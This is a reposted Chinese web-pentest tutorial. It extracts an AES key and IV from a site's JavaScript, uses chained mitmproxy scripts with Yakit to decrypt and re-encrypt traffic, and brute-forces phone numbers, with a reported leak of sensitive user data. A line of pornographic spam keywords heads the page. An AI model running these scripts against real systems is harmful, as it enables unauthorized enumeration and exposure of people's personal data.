午夜视频在线网站,日韩视频精品在线,中文字幕精品一区二区三区在线,在线播放精品,1024你懂我懂的旧版人,欧美日韩一级黄色片,一区二区三区在线观看视频

分享

實(shí)戰(zhàn)自動(dòng)化加解密&加密場景下的暴力破解

 zZ華 2024-12-13

作者:Yu9(先知社區(qū))

原文:https://xz.aliyun.com/t/16673?time__1311=Gui%3DYKGILDOD%2FD0ltGkDuCxgDjE7KfBbAeD

場景

拿到一個(gè)站,請求和響應(yīng)中的數(shù)據(jù)均經(jīng)過加密,但是我們想在測試中看到明文數(shù)據(jù)并可以修改

前兩天看到0xsdeo師傅的使用雙層mitmproxy代理實(shí)現(xiàn)自動(dòng)化加解密 的思路,今天來實(shí)現(xiàn)一下。

順便回憶一下該場景下使用 Yakit 熱加載進(jìn)行數(shù)據(jù)暴力破解。

思路

請求:

設(shè)置下游代理捕獲瀏覽器的請求解密-->Yakit -->上游代理代理再把數(shù)據(jù)加密發(fā)送到服務(wù)端。

響應(yīng):

設(shè)置上游代理捕獲瀏覽器的請求解密-->Yakit -->下游代理代理再把數(shù)據(jù)加密發(fā)送到瀏覽器。

上游代理:離原始服務(wù)器更近的代理服務(wù)器。

下游代理:離客戶端更近的代理服務(wù)器。

請求自動(dòng)化加解密

通過一個(gè)真實(shí)的案例來分析一下

某系統(tǒng)

圖片

使用手機(jī)號(hào)進(jìn)行操作,未注冊用戶需完善信息。注冊過的用戶猜測可以直接看到一些敏感信息

圖片

現(xiàn)在的思路就是收集手機(jī)號(hào),進(jìn)行爆破。

圖片

從數(shù)據(jù)包可以看出來,對登錄的手機(jī)號(hào)進(jìn)行了加密。我們到瀏覽器找一下使用的加密算法

encrypt

通過關(guān)鍵詞搜索直接定位到其代碼邏輯

圖片

分析得到

key:60427a4badf685bdiv:0c67da205a1f6f57padding: Pkcs7

我們可以編寫編寫一個(gè)加解密的代碼

from Crypto.Cipher import AES import base64
def aes_encrypt(plaintext, key, iv): # 將明文轉(zhuǎn)換為字節(jié)串 plaintext = plaintext.encode('utf-8') # 創(chuàng)建AES加密對象,使用CBC模式 cipher = AES.new(key, AES.MODE_CBC, iv) # 計(jì)算需要填充的字節(jié)數(shù) padding_length = AES.block_size - len(plaintext) % AES.block_size # 進(jìn)行填充 padding = bytes([padding_length] * padding_length) plaintext = plaintext + padding # 進(jìn)行加密 ciphertext = cipher.encrypt(plaintext) # 將加密結(jié)果進(jìn)行base64編碼并返回 return base64.b64encode(ciphertext).decode('utf-8')
def aes_encrypt2(plaintext): key = b'60427a4badf685bd' iv = b'0c67da205a1f6f57' return aes_encrypt(plaintext, key, iv)
def aes_decrypt(ciphertext, key, iv): # 對密文進(jìn)行base64解碼 ciphertext = base64.b64decode(ciphertext) # 創(chuàng)建AES解密對象 cipher = AES.new(key, AES.MODE_CBC, iv) # 解密 plaintext = cipher.decrypt(ciphertext) # 去除填充(假設(shè)使用PKCS7填充) padding_length = plaintext[-1] plaintext = plaintext[: -padding_length] return plaintext.decode('utf-8')

def aes_decrypt2(ciphertext): # ciphertext = 'FIUVPgUtB4rcKmBgWY7LeNui4nDwImR52FceKRlDzwU0KdTVkTPtpxyfZ1Zt3eCB' key = '60427a4badf685bd'.encode('utf - 8') iv = '0c67da205a1f6f57'.encode('utf - 8') return aes_decrypt(ciphertext, key, iv)

Mitmproxy代理

請求

下游代理解密

使用下游代理把從瀏覽器發(fā)送過來的加密請求數(shù)據(jù)進(jìn)行解密,發(fā)送給 Yakit

import json  from mitmproxy.http import HTTPFlow  from decrypt import *  
def request(flow: HTTPFlow): # burp下游代理: 把從瀏覽器發(fā)送過來的加密請求數(shù)據(jù)進(jìn)行解密,發(fā)送給burp try: if '/xxx/xxx/xxx' in flow.request.url: data = json.loads(flow.request.content.decode()) if data: encrypt_text = data['data'] print('請求加密數(shù)據(jù):', encrypt_text) # 解密 decrypt_text = aes_decrypt2(encrypt_text) print('請求解密數(shù)據(jù):', decrypt_text)
flow.request.content = decrypt_text.encode() except Exception as e: pass

啟動(dòng)

mitmdump -q -p 8888 -s .\aes_decrypt.py --mode upstream:http://127.0.0.1:8083/ --ssl-insecure

瀏覽器代理

圖片

此時(shí)到 Yakit 的數(shù)據(jù)包已經(jīng)是明文了

圖片

現(xiàn)在需要解決的問題就是還需把數(shù)據(jù)在加密返回給服務(wù)端,這是就需要在設(shè)置一個(gè)上游代理來進(jìn)行加密操作

上游代理加密

使用上游代理把從 Yakit發(fā)送過來的加密請求數(shù)據(jù)進(jìn)行加密,發(fā)送給服務(wù)端

import json  from mitmproxy.http import HTTPFlow  from decrypt import *  
def request(flow: HTTPFlow): # burp上游代理: 把從burp發(fā)送過來的解密數(shù)據(jù)重新進(jìn)行加密,發(fā)送給服務(wù)端 try: if '/xxx/xxx/xxx' in flow.request.url: data = json.loads(flow.request.content.decode()) if data: decrypt_text = json.dumps(data) print('請求加密數(shù)據(jù):', decrypt_text) # 加密 encrypt_text = aes_encrypt2(str(decrypt_text)) print('請求加密數(shù)據(jù):', encrypt_text) temp = {'data': encrypt_text} flow.request.content = json.dumps(temp, ensure_ascii=False).encode() except Exception as e: pass

啟動(dòng)

mitmdump -q -p 8989 -s .\aes_encrypt.py

圖片

圖片

響應(yīng)

上游代理解密

使用上游代理把從服務(wù)端發(fā)送過來的加密請求數(shù)據(jù)進(jìn)行解密,發(fā)送給 Yakit

def response(flow: HTTPFlow):      # burp上游代理: 把從服務(wù)端獲取到的加密響應(yīng)數(shù)據(jù)進(jìn)行解密,發(fā)送給burp      try:          if '/iccm/h5/visitor/' in flow.request.url:              data = json.loads(flow.response.content.decode())              if data:                  encrypt_text = data['data']                  print('響應(yīng)解密數(shù)據(jù):', encrypt_text)                  # 解密                  decrypt_text = aes_decrypt2(encrypt_text)                  decrypt_text = json.loads(decrypt_text)  
# 合并數(shù)據(jù) data['data'] = decrypt_text # 轉(zhuǎn)化為json decrypt_text = json.dumps(data, ensure_ascii=False) print('解密數(shù)據(jù):', decrypt_text) flow.response.content = decrypt_text.encode() except Exception as e: pass

下游代理加密

使用下游代理把從 Yakit發(fā)送過來的加密請求數(shù)據(jù)進(jìn)行解密,發(fā)送給瀏覽器

def response(flow: HTTPFlow): # burp下游代理: 把從burp獲取到的解密響應(yīng)數(shù)據(jù)重新進(jìn)行加密,發(fā)送給瀏覽器,使瀏覽器頁面能夠渲染數(shù)據(jù) try: if '/iccm/h5/visitor/' in flow.request.url: data = json.loads(flow.response.content.decode()) if data: decrypt_text = json.dumps(data) print('響應(yīng)加密數(shù)據(jù):', decrypt_text) decrypt_text = data['data'] decrypt_text = json.dumps(decrypt_text) # 加密 encrypt_text = aes_encrypt2(decrypt_text)
# 合并數(shù)據(jù) data['data'] = encrypt_text encrypt_text = json.dumps(data, ensure_ascii=False)
print('響應(yīng)加密數(shù)據(jù):', encrypt_text) flow.response.content = encrypt_text.encode() except Exception as e: pass

最終效果

經(jīng)過 yakit 的數(shù)據(jù)已經(jīng)變成明文,加密前后對比

解密前

圖片

圖片

解密后

圖片

圖片

Yakit 熱加載-爆破

如果只是單純的爆破數(shù)據(jù)的話,個(gè)人感覺使用 Yakit 更為簡單。

詳細(xì):https://mp.weixin.qq.com/s/x-A-ZWqE8C-HN6k9Y2QBbw

熱加載模塊中編寫代碼:

dncryptAesCbc = func(p) {      key = '60427a4badf685bd'    iv = '0c67da205a1f6f57'   resultList = []    phoneDict = x'{{payload(phone)}}' // 我們可以使用x前綴字符串來通過fuzztag語法獲取phone字典中的值      for phone in phoneDict {      m = {'verifyCode':'','phone':phone}      jsonInput = json.dumps(m)      result = codec.AESCBCEncryptWithPKCS7Padding(key, jsonInput, iv)~        base64Result = codec.EncodeBase64(result)      r={'data':base64Result}        resultList.Append(r)    }        return resultList   }

調(diào)試

圖片

效果

圖片

總結(jié)

最后也是成功爆破除出了一些可利用手機(jī)號(hào),并和剛開始的猜想一樣,泄露了一些敏感數(shù)據(jù)

圖片

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多